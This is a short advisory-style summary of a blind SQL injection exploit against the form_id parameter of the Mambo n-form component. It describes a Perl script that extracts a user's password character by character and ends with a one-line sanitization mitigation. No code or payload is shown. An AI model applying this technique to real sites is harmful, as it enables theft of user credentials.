Mambo Component n-form(form_id) Blind SQL Injection Exploit

This exploit is used to gain access to the password of a user in the Mambo Component n-form(form_id) by using a blind SQL injection. The exploit is written in Perl and uses the LWP::UserAgent module to send a malicious HTTP request to the vulnerable server. The malicious request contains a substring of the user's password and the response is used to determine the character of the substring. This process is repeated until the entire password is obtained.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.
